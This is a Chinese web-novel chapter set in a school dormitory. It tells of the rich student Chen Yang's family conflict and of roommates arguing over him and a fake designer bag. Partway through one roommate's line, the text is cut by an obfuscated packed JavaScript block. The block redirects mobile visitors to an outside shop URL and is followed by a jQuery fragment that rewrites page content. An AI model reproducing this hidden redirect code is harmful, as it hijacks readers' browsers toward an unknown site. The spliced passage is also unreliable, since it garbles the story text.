行知的宿舍是这样安排的。
女生一栋楼男生一栋楼,两栋楼相对,中间是个十分开阔的庭院。
一个长形的巨大花坛,花坛两端都种了一棵高大的松树。
庭院空间并非男女中分,而是在男生宿舍面前织了一张铁丝网,把花坛在内的所有地盘都分给了这边的女生,宿舍大门出入口则是通过可伸缩的铁质栅栏门。
枫晓站踩在栅栏门的铁质门槛上,通过那张铁丝网,正好看见她现在最最不想看见的那抹身影。
现在夕阳快要沉没在高低起伏的建筑后,仅剩的夕阳如一把刀砍了下来,把这个三维空间划分成明黄和青绿两个不同区域。
陈漾站在一楼的一间房间外,刚好落在那道夕阳的刀剑后,书包被懒洋洋地挂在右肩上,一手插在裤兜里,耸拉着脑袋,另一只手正在折腾怎么开门。
行知宿舍门是密码门,显然陈漾是忘记或记错了密码,试了好几次门都没反应。
到最后他索性放弃,从兜里掏出手机,点了两下然后对着那头不耐烦道:“密码错了,打不开门。”
求人还一副这么嚣张的样子,枫晓心里更鄙视他一点了。
陈漾转过身靠在门上,枫晓没料到他会突然转身,在他转身的那一刻立马掉头就走,慌乱的身影还是被陈漾抓了个正着。
那头的秘书叫他稍等一下,“我找一下跟校长的聊天记录,105密码应该是......108457,您再试试。”
108457?
他听成了108450,怪不得怎么都打不开。
“知道了,挂了。”
“那个阿漾,再过几天您生日,陈总工作忙,恐怕没法陪您过生日了,不过他已经往您那张卡里打了钱,生日那天您可以请朋友一起吃个饭......”
话还没说完,电话就被陈漾毫不客气地掐断了。
陈和泰哪里是工作忙,如果他没记错的话,前几年陈和泰忙着陪外面的小情人,这两年应该是忙着陪小情人和他的私生子吧。
说到家里他那位私生子,每次过年吃饭陈和泰都喜欢拿这俩人制造话题。
去年也不例外。
“我跟你妈之间的事你别迁怒到你邓阿姨和小凯身上,小凯怎么说也是你弟弟,你让着点,别计较。”
“小漾啊以后阿姨就不过来了,你别生气,今晚除夕呢,大家开开心心和和气气的最重要,别让你爸生气。”
“你别说话,这孽子我早就看他不顺眼了,你越是软弱他越觉得你好欺负。”
陈漾看着温顺可怜的陌生女生,又望向同样一脸阴郁的邓子凯,从踏进这幢别墅开始就没什么好脸色,突然觉得陈和泰十分可怜。
两个身体里流着他血的儿子,结果都是两个神经病,说不定以后都会跟他对着干。
想到这他就觉得无比畅快。
“一个姓陈,一个姓邓,算哪门子弟弟,等他改了姓再说吧。”
终于的挑衅和侮辱不仅是扫邓子凯的脸,更是打陈和泰的脸。
中年男人最不容置喙的便是他的权威,何况那个人还是一个从小并不与他亲近的孽子。
旁边安静的女人拍了拍邓子凯的手,示意他冷静,果然下一秒,陈和泰一掌便挥在陈漾脸上。
陈漾摔门而出,开着跑车在大马路上飙车,然后连车带人被交警扣下。
因为久久无人前来认领,大过年的,陈漾跟两名年轻的交警在车管所吃了盒白菜馅饺子。
所里墙壁上挂着的一个还没他卧室电脑屏幕大的电视里放着春晚,交警跟他说了声新年快乐,他扯了个难看的笑,回了声新年快乐。
没料到所里还有别人,送饺子的同事只送到了两盒,于是两名交警互相对视一眼,一共二十四个饺子,分了八个给他。一撕就坏的廉价塑料盒,装着送到所里是快凉了的饺子,却是他这十几年来吃过的最好吃的饺子。
陈漾静默地靠在门上,脑袋顶着宿舍门,头脑里面跟有人拿针扎似的,他闭着眼感受着额头两边的神经突突跳。
烦躁......
他缓缓睁开眼,方才清明的眸子此刻染上了几条血丝。
随着枫晓跑开的身影,视线最后落在了对面一楼的某间寝室的门身上,冷淡无波的脸上才终于有了一丝动容。
最后,他长舒了口气,折身进了宿舍。
宿舍是四人寝,但床还是上下铺,只是每个人的上铺都不睡觉,而是用来放杂物,靠窗的床位已经被占了,进门从左至右,靠窗的分别是江柳和丁程,江柳对头是易子琳,正对着门口的床位没人选,枫晓来得最晚,就只好睡这张床上。
易子琳从别的寝室串门回来,兴冲冲地说:“你们猜我打听到一个什么消息?”
不等其他人张嘴,她就先兴奋地揭开了谜底,“是陈漾!听说陈漾也住校了,就在我们对面一楼!”
枫晓略微诧异地看着她一脸激动。
“他怎么也住校了?”
他怎么也注校了?
几乎是跟江柳发生在同一时间,只不过她并未将疑惑问出口,而是在心底无声发问。
“不知道,听说是他自己申请的,估计是早晚来回太麻烦了所以想住校,而且他爸不是给学校捐了栋价值两个亿的楼吗?这次他住校校长还把他单独喊到办公室关心了一番。”
江柳正躺床上玩手机刷空间,虽然学校规定学生不能带手机,但把手机藏宿舍枕头底下是每个人心照不宣的秘密。
她跟不知情的枫晓解释道:“别惊讶,我们易大小姐是三班陈漾的铁杆粉丝,他有任何风吹草动易大小姐都会第一时间知道。”
“铁杆粉丝?”她忽然想起来,报道第一天那两个盯着陈漾窃窃私语的女孩里有一个正是易子琳。
世界真小啊,没想到居然跟她分到了一个宿舍。
易子琳说:“本小姐向来有什么就说什么,不像有些人藏着掖着,嘴上一套背地里又是一套。”
她这话带足了刺,话里的“有些人”明显是意有所指的,江柳放下手机,腾地一起坐了起来,两眼亮晶晶的,问:“你现在是个什么情况啊?有什么进展没有。”
易子琳失望地摇了摇头,“没有,不过像他那么优秀的男生怎么可能说追到就能追到的,要是那么简单我还不乐意喜欢了呢。”
优秀?她是怎么得出这个词的?
不过枫晓听明白了,易子琳是喜欢有挑战性的事情。
轻易能得到的东西总是缺乏一点征服后的快.感,而只有通过付出和努力得到的东西才能燃起她心底的征服欲。
陈漾长相好,家境好,而且还刚好满足她的这点征服欲,因此理所当然地成为了易子琳追求的目标。
一旁默默看书的丁程微不可闻地轻嗤了一声,虽然声音很小,但还是被枫晓敏锐地捕捉到。
气氛中弥漫着几丝很淡的火药味,江柳全然不知这其中的微妙,拖长音“啊”了一句。
“你都追了这么久了,从初一开始到高一,要不还是死心算了吧。”
易子琳不以为意,“你懂什么,你不也喜欢周茂思那么久,连承认的勇气都没有。”
江柳跟被踩了狐狸尾巴似的差点没从床上跳起来,“胡说,我喜欢谁都不会喜欢那个死胖子好吗,谁喜欢他啊,易子琳你别瞎说,小心遭天谴。”
“随便你吧。”易子琳显然不想跟她争这种毫无意义的事情,把话题的矛头转向了枫晓:“枫晓,我听说你进了新闻部,那你是不是每天都能跟陈漾待在一块
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272788|138100||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
啊?跟我说说他呗,我之前也想去来着,结果学艺不精,被那些普通班的踩了下去,没选上。”
枫晓挠脸讪笑:“我们分了任务的,不是每天都要去值班,而且我是摄影组,他是编辑组,我主要跑室外,他坐在办公室就好了,所以待一起时间不算太多。”
“好吧,那他身边有没有什么女生?说话说得多吗?他有对谁比较热情的或者是特别的没?”
丁程翻了个身,冷不丁来了句:“你怎么不在别人身上安个摄像头,这样不什么都清楚了吗?”
满满的讽刺味。
不过还是替枫晓解了围,果然易子琳的注意力一下从移开了。
她双手环胸没好气地说:“谢谢你的提议,但我并不打算采纳,学霸姐。”
她刻意强调了后面那三个字,丁程“啪”地一下合上了书。
“你以为谁都跟你一样烂泥扶不上墙。”
易子琳成绩不大好,上次摸底考试考了班上倒数,比有些非直升生都要差,是她们宿舍成绩垫底的人。
“搞笑,我并不需要有多好的成绩,成绩只是你们普通人唯一拿得出手,可以为之得意的东西,但并不是我的,懂吗?”
她说完就拎着小包大摇大摆地走了出去,枫晓认出了她那个包的牌子,市场价差不多七八千,是她们一年学杂费的三四倍。
而且那只是她众多包的其中一个。
就算不看她平时吃的用的,光是从她的床铺布置就不难看出家境的殷实甚至富裕。
此时的丁程眼圈已经有些发红,江柳连忙坐到丁程床上抱着她的肩膀安慰,“易子琳就那个性格,你别往心里去,晾着她就是了,跟她较什么劲。”
作为一个组的还是前后桌关系,枫晓这时候再怎样嘴笨也不得不上前安慰几句。
“丁程,其实她那个包是假的。”
江柳仿佛跟听到了什么绝世惊天要闻一般瞪大了眼睛:“什么?你说易子琳那宝贝包是假的?”
丁程生硬地说:“你怎么知道。”
“我妈妈也有一个那样的包,虽然整体看着很像,不过她的光泽不太一样,而且logo设计也有点偏差。”
江柳:“搞半天易子琳一直拿个假的在我们面前炫耀,真有她的啊。”
枫晓看了一圈她挂在床头那一堆名牌包,说:“她应该不是那种打脸充胖子的人,没必要买假的,大概是哪个朋友送的,以假乱真吧。”
“是听说她某个朋友送的生日礼物,还是个男的,好像正在追她来着。”丁程道。
易子琳家境不差,人长得又高又漂亮,加上她很会打扮,自然能吸引到许多男生,人一多就鱼龙混杂,送个假包充当富二代的人并不稀奇。
江柳说:“要不要提醒她一下?这样的男的可要不得。”
枫晓犹豫了两秒钟,说:“算了吧,看易子琳的家境,她不见得就看不透对方的真实面目,可能只是无聊跟对方周旋一下而已,而且在学校没有人会在意你身上的东西值多少钱,所以背多贵的包其实并不重要吧,相反来说好好学习考个好成绩更能得到别人的崇拜和羡慕呢。”
江柳撇撇嘴,气馁道:“不过她刚才说我们普通人能拿得出手的就只有成绩,而她不需要这点成绩的时候我感觉她说得挺有道理的。她漂亮又有钱,听说她不打算参加高考,家里直接安排她出国,所以才懒得跟我们争名次。”
枫晓:“这也没关系吧,如果两个人做比较,为什么要拿A的长处和B的短处比呢,倘若不在一个赛道那就没法比较。就算用A的成绩和B的家境做比较,也没有人能分出谁胜谁负孰优孰劣吧。”
江柳缓缓地竖起了一个大拇指。
“枫晓,你口才真好,以后你一定要去参加辩论赛。”